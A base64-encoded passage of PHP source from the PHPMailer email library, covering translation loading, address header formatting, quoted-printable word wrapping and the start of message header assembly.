AgICAgICAgICdubycgPT4gJ25iJywKICAgICAgICAgICAgJ3NlJyA9PiAnc3YnLAogICAgICAgICAgICAnc3InID0+ICdycycKICAgICAgICApOwoKICAgICAgICBpZiAoaXNzZXQoJHJlbmFtZWRfbGFuZ2NvZGVzWyRsYW5nY29kZV0pKSB7CiAgICAgICAgICAgICRsYW5nY29kZSA9ICRyZW5hbWVkX2xhbmdjb2Rlc1skbGFuZ2NvZGVdOwogICAgICAgIH0KCiAgICAgICAgLy8gRGVmaW5lIGZ1bGwgc2V0IG9mIHRyYW5zbGF0YWJsZSBzdHJpbmdzIGluIEVuZ2xpc2gKICAgICAgICAkUEhQTUFJTEVSX0xBTkcgPSBhcnJheSgKICAgICAgICAgICAgJ2F1dGhlbnRpY2F0ZScgPT4gJ1NNVFAgRXJyb3I6IENvdWxkIG5vdCBhdXRoZW50aWNhdGUuJywKICAgICAgICAgICAgJ2Nvbm5lY3RfaG9zdCcgPT4gJ1NNVFAgRXJyb3I6IENvdWxkIG5vdCBjb25uZWN0IHRvIFNNVFAgaG9zdC4nLAogICAgICAgICAgICAnZGF0YV9ub3RfYWNjZXB0ZWQnID0+ICdTTVRQIEVycm9yOiBkYXRhIG5vdCBhY2NlcHRlZC4nLAogICAgICAgICAgICAnZW1wdHlfbWVzc2FnZScgPT4gJ01lc3NhZ2UgYm9keSBlbXB0eScsCiAgICAgICAgICAgICdlbmNvZGluZycgPT4gJ1Vua25vd24gZW5jb2Rpbmc6ICcsCiAgICAgICAgICAgICdleGVjdXRlJyA9PiAnQ291bGQgbm90IGV4ZWN1dGU6ICcsCiAgICAgICAgICAgICdmaWxlX2FjY2VzcycgPT4gJ0NvdWxkIG5vdCBhY2Nlc3MgZmlsZTogJywKICAgICAgICAgICAgJ2ZpbGVfb3BlbicgPT4gJ0ZpbGUgRXJyb3I6IENvdWxkIG5vdCBvcGVuIGZpbGU6ICcsCiAgICAgICAgICAgICdmcm9tX2ZhaWxlZCcgPT4gJ1RoZSBmb2xsb3dpbmcgRnJvbSBhZGRyZXNzIGZhaWxlZDogJywKICAgICAgICAgICAgJ2luc3RhbnRpYXRlJyA9PiAnQ291bGQgbm90IGluc3RhbnRpYXRlIG1haWwgZnVuY3Rpb24uJywKICAgICAgICAgICAgJ2ludmFsaWRfYWRkcmVzcycgPT4gJ0ludmFsaWQgYWRkcmVzczogJywKICAgICAgICAgICAgJ21haWxlcl9ub3Rfc3VwcG9ydGVkJyA9PiAnIG1haWxlciBpcyBub3Qgc3VwcG9ydGVkLicsCiAgICAgICAgICAgICdwcm92aWRlX2FkZHJlc3MnID0+ICdZb3UgbXVzdCBwcm92aWRlIGF0IGxlYXN0IG9uZSByZWNpcGllbnQgZW1haWwgYWRkcmVzcy4nLAogICAgICAgICAgICAncmVjaXBpZW50c19mYWlsZWQnID0+ICdTTVRQIEVycm9yOiBUaGUgZm9sbG93aW5nIHJlY2lwaWVudHMgZmFpbGVkOiAnLAogICAgICAgICAgICAnc2lnbmluZycgPT4gJ1NpZ25pbmcgRXJyb3I6ICcsCiAgICAgICAgICAgICdzbXRwX2Nvbm5lY3RfZmFpbGVkJyA9PiAnU01UUCBjb25uZWN0KCkgZmFpbGVkLicsCiAgICAgICAgICAgICdzbXRwX2Vycm9yJyA9PiAnU01UUCBzZXJ2ZXIgZXJyb3I6ICcsCiAgICAgICAgICAgICd2YXJpYWJsZV9zZXQnID0+ICdDYW5ub3Qgc2V0IG9yIHJlc2V0IHZhcmlhYmxlOiAnLAogICAgICAgICAgICAnZXh0ZW5zaW9uX21pc3NpbmcnID0+ICdFeHRlbnNpb24gbWlzc2luZzogJwogICAgICAgICk7CiAgICAgICAgaWYgKGVtcHR5KCRsYW5nX3BhdGgpKSB7CiAgICAgICAgICAgIC8vIENhbGN1bGF0ZSBhbiBhYnNvbHV0ZSBwYXRoIHNvIGl0IGNhbiB3b3JrIGlmIENXRCBpcyBub3QgaGVyZQogICAgICAgICAgICAkbGFuZ19wYXRoID0gZGlybmFtZShfX0ZJTEVfXykuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAnbGFuZ3VhZ2UnLiBESVJFQ1RPUllfU0VQQVJBVE9SOwogICAgICAgIH0KICAgICAgICAvL1ZhbGlkYXRlICRsYW5nY29kZQogICAgICAgIGlmICghcHJlZ19tYXRjaCgnL15bYS16XXsyfSg\/Ol9bYS16QS1aXXsyfSk\/JC8nLCAkbGFuZ2NvZGUpKSB7CiAgICAgICAgICAgICRsYW5nY29kZSA9ICdlbic7CiAgICAgICAgfQogICAgICAgICRmb3VuZGxhbmcgPSB0cnVlOwogICAgICAgICRsYW5nX2ZpbGUgPSAkbGFuZ19wYXRoIC4gJ3BocG1haWxlci5sYW5nLScgLiAkbGFuZ2NvZGUgLiAnLnBocCc7CiAgICAgICAgLy8gVGhlcmUgaXMgbm8gRW5nbGlzaCB0cmFuc2xhdGlvbiBmaWxlCiAgICAgICAgaWYgKCRsYW5nY29kZSAhPSAnZW4nKSB7CiAgICAgICAgICAgIC8vIE1ha2Ugc3VyZSBsYW5ndWFnZSBmaWxlIHBhdGggaXMgcmVhZGFibGUKICAgICAgICAgICAgaWYgKCFzZWxmOjppc1Blcm1pdHRlZFBhdGgoJGxhbmdfZmlsZSkgb3IgIWlzX3JlYWRhYmxlKCRsYW5nX2ZpbGUpKSB7CiAgICAgICAgICAgICAgICAkZm91bmRsYW5nID0gZmFsc2U7CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAvLyBPdmVyd3JpdGUgbGFuZ3VhZ2Utc3BlY2lmaWMgc3RyaW5ncy4KICAgICAgICAgICAgICAgIC8vIFRoaXMgd2F5IHdlJ2xsIG5ldmVyIGhhdmUgbWlzc2luZyB0cmFuc2xhdGlvbiBrZXlzLgogICAgICAgICAgICAgICAgJGZvdW5kbGFuZyA9IGluY2x1ZGUgJGxhbmdfZmlsZTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICAkdGhpcy0+bGFuZ3VhZ2UgPSAkUEhQTUFJTEVSX0xBTkc7CiAgICAgICAgcmV0dXJuIChib29sZWFuKSRmb3VuZGxhbmc7IC8vIFJldHVybnMgZmFsc2UgaWYgbGFuZ3VhZ2Ugbm90IGZvdW5kCiAgICB9CgogICAgLyoqCiAgICAgKiBHZXQgdGhlIGFycmF5IG9mIHN0cmluZ3MgZm9yIHRoZSBjdXJyZW50IGxhbmd1YWdlLgogICAgICogQHJldHVybiBhcnJheQogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gZ2V0VHJhbnNsYXRpb25zKCkKICAgIHsKICAgICAgICByZXR1cm4gJHRoaXMtPmxhbmd1YWdlOwogICAgfQoKICAgIC8qKgogICAgICogQ3JlYXRlIHJlY2lwaWVudCBoZWFkZXJzLgogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEBwYXJhbSBzdHJpbmcgJHR5cGUKICAgICAqIEBwYXJhbSBhcnJheSAkYWRkciBBbiBhcnJheSBvZiByZWNpcGllbnQsCiAgICAgKiB3aGVyZSBlYWNoIHJlY2lwaWVudCBpcyBhIDItZWxlbWVudCBpbmRleGVkIGFycmF5IHdpdGggZWxlbWVudCAwIGNvbnRhaW5pbmcgYW4gYWRkcmVzcwogICAgICogYW5kIGVsZW1lbnQgMSBjb250YWluaW5nIGEgbmFtZSwgbGlrZToKICAgICAqIGFycmF5KGFycmF5KCdqb2VAZXhhbXBsZS5jb20nLCAnSm9lIFVzZXInKSwgYXJyYXkoJ3pvZUBleGFtcGxlLmNvbScsICdab2UgVXNlcicpKQogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGFkZHJBcHBlbmQoJHR5cGUsICRhZGRyKQogICAgewogICAgICAgICRhZGRyZXNzZXMgPSBhcnJheSgpOwogICAgICAgIGZvcmVhY2ggKCRhZGRyIGFzICRhZGRyZXNzKSB7CiAgICAgICAgICAgICRhZGRyZXNzZXNbXSA9ICR0aGlzLT5hZGRyRm9ybWF0KCRhZGRyZXNzKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuICR0eXBlIC4gJzogJyAuIGltcGxvZGUoJywgJywgJGFkZHJlc3NlcykgLiAkdGhpcy0+TEU7CiAgICB9CgogICAgLyoqCiAgICAgKiBGb3JtYXQgYW4gYWRkcmVzcyBmb3IgdXNlIGluIGEgbWVzc2FnZSBoZWFkZXIuCiAgICAgKiBAYWNjZXNzIHB1YmxpYwogICAgICogQHBhcmFtIGFycmF5ICRhZGRyIEEgMi1lbGVtZW50IGluZGV4ZWQgYXJyYXksIGVsZW1lbnQgMCBjb250YWluaW5nIGFuIGFkZHJlc3MsIGVsZW1lbnQgMSBjb250YWluaW5nIGEgbmFtZQogICAgICogICAgICBsaWtlIGFycmF5KCdqb2VAZXhhbXBsZS5jb20nLCAnSm9lIFVzZXInKQogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGFkZHJGb3JtYXQoJGFkZHIpCiAgICB7CiAgICAgICAgaWYgKGVtcHR5KCRhZGRyWzFdKSkgeyAvLyBObyBuYW1lIHByb3ZpZGVkCiAgICAgICAgICAgIHJldHVybiAkdGhpcy0+c2VjdXJlSGVhZGVyKCRhZGRyWzBdKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICByZXR1cm4gJHRoaXMtPmVuY29kZUhlYWRlcigkdGhpcy0+c2VjdXJlSGVhZGVyKCRhZGRyWzFdKSwgJ3BocmFzZScpIC4gJyA8JyAuICR0aGlzLT5zZWN1cmVIZWFkZXIoCiAgICAgICAgICAgICAgICAkYWRkclswXQogICAgICAgICAgICApIC4gJz4nOwogICAgICAgIH0KICAgIH0KCiAgICAvKioKICAgICAqIFdvcmQtd3JhcCBtZXNzYWdlLgogICAgICogRm9yIHVzZSB3aXRoIG1haWxlcnMgdGhhdCBkbyBub3QgYXV0b21hdGljYWxseSBwZXJmb3JtIHdyYXBwaW5nCiAgICAgKiBhbmQgZm9yIHF1b3RlZC1wcmludGFibGUgZW5jb2RlZCBtZXNzYWdlcy4KICAgICAqIE9yaWdpbmFsIHdyaXR0ZW4gYnkgcGhpbGlwcGUuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRtZXNzYWdlIFRoZSBtZXNzYWdlIHRvIHdyYXAKICAgICAqIEBwYXJhbSBpbnRlZ2VyICRsZW5ndGggVGhlIGxpbmUgbGVuZ3RoIHRvIHdyYXAgdG8KICAgICAqIEBwYXJhbSBib29sZWFuICRxcF9tb2RlIFdoZXRoZXIgdG8gcnVuIGluIFF1b3RlZC1QcmludGFibGUgbW9kZQogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEByZXR1cm4gc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiB3cmFwVGV4dCgkbWVzc2FnZSwgJGxlbmd0aCwgJHFwX21vZGUgPSBmYWxzZSkKICAgIHsKICAgICAgICBpZiAoJHFwX21vZGUpIHsKICAgICAgICAgICAgJHNvZnRfYnJlYWsgPSBzcHJpbnRmKCcgPSVzJywgJHRoaXMtPkxFKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkc29mdF9icmVhayA9ICR0aGlzLT5MRTsKICAgICAgICB9CiAgICAgICAgLy8gSWYgdXRmLTggZW5jb2RpbmcgaXMgdXNlZCwgd2Ugd2lsbCBuZWVkIHRvIG1ha2Ugc3VyZSB3ZSBkb24ndAogICAgICAgIC8vIHNwbGl0IG11bHRpYnl0ZSBjaGFyYWN0ZXJzIHdoZW4gd2Ugd3JhcAogICAgICAgICRpc191dGY4ID0gKHN0cnRvbG93ZXIoJHRoaXMtPkNoYXJTZXQpID09ICd1dGYtOCcpOwogICAgICAgICRsZWxlbiA9IHN0cmxlbigkdGhpcy0+TEUpOwogICAgICAgICRjcmxmbGVuID0gc3RybGVuKHNlbGY6OkNSTEYpOwoKICAgICAgICAkbWVzc2FnZSA9ICR0aGlzLT5maXhFT0woJG1lc3NhZ2UpOwogICAgICAgIC8vUmVtb3ZlIGEgdHJhaWxpbmcgbGluZSBicmVhawogICAgICAgIGlmIChzdWJzdHIoJG1lc3NhZ2UsIC0kbGVsZW4pID09ICR0aGlzLT5MRSkgewogICAgICAgICAgICAkbWVzc2FnZSA9IHN1YnN0cigkbWVzc2FnZSwgMCwgLSRsZWxlbik7CiAgICAgICAgfQoKICAgICAgICAvL1NwbGl0IG1lc3NhZ2UgaW50byBsaW5lcwogICAgICAgICRsaW5lcyA9IGV4cGxvZGUoJHRoaXMtPkxFLCAkbWVzc2FnZSk7CiAgICAgICAgLy9NZXNzYWdlIHdpbGwgYmUgcmVidWlsdCBpbiBoZXJlCiAgICAgICAgJG1lc3NhZ2UgPSAnJzsKICAgICAgICBmb3JlYWNoICgkbGluZXMgYXMgJGxpbmUpIHsKICAgICAgICAgICAgJHdvcmRzID0gZXhwbG9kZSgnICcsICRsaW5lKTsKICAgICAgICAgICAgJGJ1ZiA9ICcnOwogICAgICAgICAgICAkZmlyc3R3b3JkID0gdHJ1ZTsKICAgICAgICAgICAgZm9yZWFjaCAoJHdvcmRzIGFzICR3b3JkKSB7CiAgICAgICAgICAgICAgICBpZiAoJHFwX21vZGUgYW5kIChzdHJsZW4oJHdvcmQpID4gJGxlbmd0aCkpIHsKICAgICAgICAgICAgICAgICAgICAkc3BhY2VfbGVmdCA9ICRsZW5ndGggLSBzdHJsZW4oJGJ1ZikgLSAkY3JsZmxlbjsKICAgICAgICAgICAgICAgICAgICBpZiAoISRmaXJzdHdvcmQpIHsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRzcGFjZV9sZWZ0ID4gMjApIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRsZW4gPSAkc3BhY2VfbGVmdDsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkaXNfdXRmOCkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRsZW4gPSAkdGhpcy0+dXRmOENoYXJCb3VuZGFyeSgkd29yZCwgJGxlbik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2VpZiAoc3Vic3RyKCR3b3JkLCAkbGVuIC0gMSwgMSkgPT0gJz0nKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGxlbi0tOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlaWYgKHN1YnN0cigkd29yZCwgJGxlbiAtIDIsIDEpID09ICc9JykgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRsZW4gLT0gMjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwYXJ0ID0gc3Vic3RyKCR3b3JkLCAwLCAkbGVuKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICR3b3JkID0gc3Vic3RyKCR3b3JkLCAkbGVuKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRidWYgLj0gJyAnIC4gJHBhcnQ7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbWVzc2FnZSAuPSAkYnVmIC4gc3ByaW50ZignPSVzJywgc2VsZjo6Q1JMRik7CiAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbWVzc2FnZSAuPSAkYnVmIC4gJHNvZnRfYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgJGJ1ZiA9ICcnOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB3aGlsZSAoc3RybGVuKCR3b3JkKSA+IDApIHsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRsZW5ndGggPD0gMCkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgJGxlbiA9ICRsZW5ndGg7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkaXNfdXRmOCkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGxlbiA9ICR0aGlzLT51dGY4Q2hhckJvdW5kYXJ5KCR3b3JkLCAkbGVuKTsKICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlaWYgKHN1YnN0cigkd29yZCwgJGxlbiAtIDEsIDEpID09ICc9JykgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGxlbi0tOwogICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2VpZiAoc3Vic3RyKCR3b3JkLCAkbGVuIC0gMiwgMSkgPT0gJz0nKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbGVuIC09IDI7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgJHBhcnQgPSBzdWJzdHIoJHdvcmQsIDAsICRsZW4pOwogICAgICAgICAgICAgICAgICAgICAgICAkd29yZCA9IHN1YnN0cigkd29yZCwgJGxlbik7CgogICAgICAgICAgICAgICAgICAgICAgICBpZiAoc3RybGVuKCR3b3JkKSA+IDApIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRtZXNzYWdlIC49ICRwYXJ0IC4gc3ByaW50ZignPSVzJywgc2VsZjo6Q1JMRik7CiAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYnVmID0gJHBhcnQ7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICRidWZfbyA9ICRidWY7CiAgICAgICAgICAgICAgICAgICAgaWYgKCEkZmlyc3R3b3JkKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRidWYgLj0gJyAnOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAkYnVmIC49ICR3b3JkOwoKICAgICAgICAgICAgICAgICAgICBpZiAoc3RybGVuKCRidWYpID4gJGxlbmd0aCBhbmQgJGJ1Zl9vICE9ICcnKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRtZXNzYWdlIC49ICRidWZfbyAuICRzb2Z0X2JyZWFrOwogICAgICAgICAgICAgICAgICAgICAgICAkYnVmID0gJHdvcmQ7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgJGZpcnN0d29yZCA9IGZhbHNlOwogICAgICAgICAgICB9CiAgICAgICAgICAgICRtZXNzYWdlIC49ICRidWYgLiBzZWxmOjpDUkxGOwogICAgICAgIH0KCiAgICAgICAgcmV0dXJuICRtZXNzYWdlOwogICAgfQoKICAgIC8qKgogICAgICogRmluZCB0aGUgbGFzdCBjaGFyYWN0ZXIgYm91bmRhcnkgcHJpb3IgdG8gJG1heExlbmd0aCBpbiBhIHV0Zi04CiAgICAgKiBxdW90ZWQtcHJpbnRhYmxlIGVuY29kZWQgc3RyaW5nLgogICAgICogT3JpZ2luYWwgd3JpdHRlbiBieSBDb2xpbiBCcm93bi4KICAgICAqIEBhY2Nlc3MgcHVibGljCiAgICAgKiBAcGFyYW0gc3RyaW5nICRlbmNvZGVkVGV4dCB1dGYtOCBRUCB0ZXh0CiAgICAgKiBAcGFyYW0gaW50ZWdlciAkbWF4TGVuZ3RoIEZpbmQgdGhlIGxhc3QgY2hhcmFjdGVyIGJvdW5kYXJ5IHByaW9yIHRvIHRoaXMgbGVuZ3RoCiAgICAgKiBAcmV0dXJuIGludGVnZXIKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIHV0ZjhDaGFyQm91bmRhcnkoJGVuY29kZWRUZXh0LCAkbWF4TGVuZ3RoKQogICAgewogICAgICAgICRmb3VuZFNwbGl0UG9zID0gZmFsc2U7CiAgICAgICAgJGxvb2tCYWNrID0gMzsKICAgICAgICB3aGlsZSAoISRmb3VuZFNwbGl0UG9zKSB7CiAgICAgICAgICAgICRsYXN0Q2h1bmsgPSBzdWJzdHIoJGVuY29kZWRUZXh0LCAkbWF4TGVuZ3RoIC0gJGxvb2tCYWNrLCAkbG9va0JhY2spOwogICAgICAgICAgICAkZW5jb2RlZENoYXJQb3MgPSBzdHJwb3MoJGxhc3RDaHVuaywgJz0nKTsKICAgICAgICAgICAgaWYgKGZhbHNlICE9PSAkZW5jb2RlZENoYXJQb3MpIHsKICAgICAgICAgICAgICAgIC8vIEZvdW5kIHN0YXJ0IG9mIGVuY29kZWQgY2hhcmFjdGVyIGJ5dGUgd2l0aGluICRsb29rQmFjayBibG9jay4KICAgICAgICAgICAgICAgIC8vIENoZWNrIHRoZSBlbmNvZGVkIGJ5dGUgdmFsdWUgKHRoZSAyIGNoYXJzIGFmdGVyIHRoZSAnPScpCiAgICAgICAgICAgICAgICAkaGV4ID0gc3Vic3RyKCRlbmNvZGVkVGV4dCwgJG1heExlbmd0aCAtICRsb29rQmFjayArICRlbmNvZGVkQ2hhclBvcyArIDEsIDIpOwogICAgICAgICAgICAgICAgJGRlYyA9IGhleGRlYygkaGV4KTsKICAgICAgICAgICAgICAgIGlmICgkZGVjIDwgMTI4KSB7CiAgICAgICAgICAgICAgICAgICAgLy8gU2luZ2xlIGJ5dGUgY2hhcmFjdGVyLgogICAgICAgICAgICAgICAgICAgIC8vIElmIHRoZSBlbmNvZGVkIGNoYXIgd2FzIGZvdW5kIGF0IHBvcyAwLCBpdCB3aWxsIGZpdAogICAgICAgICAgICAgICAgICAgIC8vIG90aGVyd2lzZSByZWR1Y2UgbWF4TGVuZ3RoIHRvIHN0YXJ0IG9mIHRoZSBlbmNvZGVkIGNoYXIKICAgICAgICAgICAgICAgICAgICBpZiAoJGVuY29kZWRDaGFyUG9zID4gMCkgewogICAgICAgICAgICAgICAgICAgICAgICAkbWF4TGVuZ3RoID0gJG1heExlbmd0aCAtICgkbG9va0JhY2sgLSAkZW5jb2RlZENoYXJQb3MpOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAkZm91bmRTcGxpdFBvcyA9IHRydWU7CiAgICAgICAgICAgICAgICB9IGVsc2VpZiAoJGRlYyA+PSAxOTIpIHsKICAgICAgICAgICAgICAgICAgICAvLyBGaXJzdCBieXRlIG9mIGEgbXVsdGkgYnl0ZSBjaGFyYWN0ZXIKICAgICAgICAgICAgICAgICAgICAvLyBSZWR1Y2UgbWF4TGVuZ3RoIHRvIHNwbGl0IGF0IHN0YXJ0IG9mIGNoYXJhY3RlcgogICAgICAgICAgICAgICAgICAgICRtYXhMZW5ndGggPSAkbWF4TGVuZ3RoIC0gKCRsb29rQmFjayAtICRlbmNvZGVkQ2hhclBvcyk7CiAgICAgICAgICAgICAgICAgICAgJGZvdW5kU3BsaXRQb3MgPSB0cnVlOwogICAgICAgICAgICAgICAgfSBlbHNlaWYgKCRkZWMgPCAxOTIpIHsKICAgICAgICAgICAgICAgICAgICAvLyBNaWRkbGUgYnl0ZSBvZiBhIG11bHRpIGJ5dGUgY2hhcmFjdGVyLCBsb29rIGZ1cnRoZXIgYmFjawogICAgICAgICAgICAgICAgICAgICRsb29rQmFjayArPSAzOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgLy8gTm8gZW5jb2RlZCBjaGFyYWN0ZXIgZm91bmQKICAgICAgICAgICAgICAgICRmb3VuZFNwbGl0UG9zID0gdHJ1ZTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXR1cm4gJG1heExlbmd0aDsKICAgIH0KCiAgICAvKioKICAgICAqIEFwcGx5IHdvcmQgd3JhcHBpbmcgdG8gdGhlIG1lc3NhZ2UgYm9keS4KICAgICAqIFdyYXBzIHRoZSBtZXNzYWdlIGJvZHkgdG8gdGhlIG51bWJlciBvZiBjaGFycyBzZXQgaW4gdGhlIFdvcmRXcmFwIHByb3BlcnR5LgogICAgICogWW91IHNob3VsZCBvbmx5IGRvIHRoaXMgdG8gcGxhaW4tdGV4dCBib2RpZXMgYXMgd3JhcHBpbmcgSFRNTCB0YWdzIG1heSBicmVhayB0aGVtLgogICAgICogVGhpcyBpcyBjYWxsZWQgYXV0b21hdGljYWxseSBieSBjcmVhdGVCb2R5KCksIHNvIHlvdSBkb24ndCBuZWVkIHRvIGNhbGwgaXQgeW91cnNlbGYuCiAgICAgKiBAYWNjZXNzIHB1YmxpYwogICAgICogQHJldHVybiB2b2lkCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBzZXRXb3JkV3JhcCgpCiAgICB7CiAgICAgICAgaWYgKCR0aGlzLT5Xb3JkV3JhcCA8IDEpIHsKICAgICAgICAgICAgcmV0dXJuOwogICAgICAgIH0KCiAgICAgICAgc3dpdGNoICgkdGhpcy0+bWVzc2FnZV90eXBlKSB7CiAgICAgICAgICAgIGNhc2UgJ2FsdCc6CiAgICAgICAgICAgIGNhc2UgJ2FsdF9pbmxpbmUnOgogICAgICAgICAgICBjYXNlICdhbHRfYXR0YWNoJzoKICAgICAgICAgICAgY2FzZSAnYWx0X2lubGluZV9hdHRhY2gnOgogICAgICAgICAgICAgICAgJHRoaXMtPkFsdEJvZHkgPSAkdGhpcy0+d3JhcFRleHQoJHRoaXMtPkFsdEJvZHksICR0aGlzLT5Xb3JkV3JhcCk7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgZGVmYXVsdDoKICAgICAgICAgICAgICAgICR0aGlzLT5Cb2R5ID0gJHRoaXMtPndyYXBUZXh0KCR0aGlzLT5Cb2R5LCAkdGhpcy0+V29yZFdyYXApOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgfQogICAgfQoKICAgIC8qKgogICAgICogQXNzZW1ibGUgbWVzc2FnZSBoZWFkZXJzLgogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEByZXR1cm4gc3RyaW5nIFRoZSBhc3NlbWJsZWQgaGVhZGVycwogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gY3JlYXRlSGVhZGVyKCkKICAgIHsKICAgICAgICAkcmVzdWx0ID0gJyc7CgogICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ0RhdGUnLCAkdGhpcy0+TWVzc2FnZURhdGUgPT0gJycgPyBzZWxmOjpyZmNEYXRlKCkgOiAkdGhpcy0+TWVzc2FnZURhdGUpOwoKICAgICAgICAvLyBUbyBiZSBjcmVhdGVkIGF1dG9tYXRpY2FsbHkgYnkgbWFpbCgpCiAgICAgICAgaWYgKCR0aGlzLT5TaW5nbGVUbykgewogICAgICAgICAgICBpZiAoJHRoaXMtPk1haWxlciAhPSAnbWFpbCcpIHsKICAgICAgICAgICAgICAgIGZvcmVhY2ggKCR0aGlzLT50byBhcyAkdG9hZGRyKSB7CiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPlNpbmdsZVRvQXJyYXlbXSA9ICR0aGlzLT5hZGRyRm9ybWF0KCR0b2FkZHIpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgaWYgKGNvdW50KCR0aGlzLT50bykgPiAwKSB7CiAgICAgICAgICAgICAgICBpZiAoJHRoaXMtPk1haWxlciAhPSAnbWFpbCcpIHsKICAgICAgICAgICAgICAgICAgICAkcmVzdWx0IC49ICR0aGlzLT5hZGRyQXBwZW5kKCdUbycsICR0aGlzLT50byk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0gZWxzZWlmIChjb3VudCgkdGhpcy0+Y2MpID09IDApIHsKICAgICAgICAgICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ1RvJywgJ3VuZGlzY2xvc2VkLXJlY2lwaWVudHM6OycpOwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICAkcmVzdWx0IC49ICR0aGlzLT5hZGRyQXBwZW5kKCdGcm9tJywgYXJyYXkoYXJyYXkodHJpbSgkdGhpcy0+RnJvbSksICR0aGlzLT5Gcm9tTmFtZSkpKTsKCiAgICAgICAgLy8gc2VuZG1haWwgYW5kIG1haWwoKSBleHRyYWN0IENjIGZyb20gdGhlIGhlYWRlciBiZWZvcmUgc2VuZGluZwogICAgICAgIGlmIChjb3VudCgkdGhpcy0+Y2MpID4gMCkgewogICAgICAgICAgICAkcmVzdWx0IC49ICR0aGlzLT5hZGRyQXBwZW5kKCdDYycsICR0aGlzLT5jYyk7CiAgICAgICAgfQoKICAgICAgICAvLyBzZW5kbWFpbCBhbmQgbWFpbCgpIGV4dHJhY3QgQmNjIGZyb20gdGhlIGhlYWRlciBiZWZvcmUgc2VuZGluZwogICAgICAgIGlmICgoCiAgICAgICAgICAgICAgICAkdGhpcy0+TWFpbGVyID09ICdzZW5kbWFpbCcgb3IgJHRoaXMtPk1haWxlciA9PSAncW1haWwnIG9yICR0aGlzLT5NYWlsZXIgPT0gJ21haWwnCiAgICAgICAgICAgICkKICAgICAgICAgICAgYW5kIGNvdW50KCR0aGlzLT5iY2MpID4gMAogICAgICAgICkgewogICAgICAgICAgICAkcmVzdWx0IC49ICR0aGlzLT5hZGRyQXBwZW5kKCdCY2MnLCAkdGhpcy0+YmNjKTsKICAgICAgICB9CgogICAgICAgIGlmIChjb3VudCgkdGhpcy0+UmVwbHlUbykgPiAwKSB7CiAgICAgICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPmFkZHJBcHBlbmQoJ1JlcGx5LVRvJywgJHRoaXMtPlJlcGx5VG8pOwogICAgICAgIH0KCiAgICAgICAgLy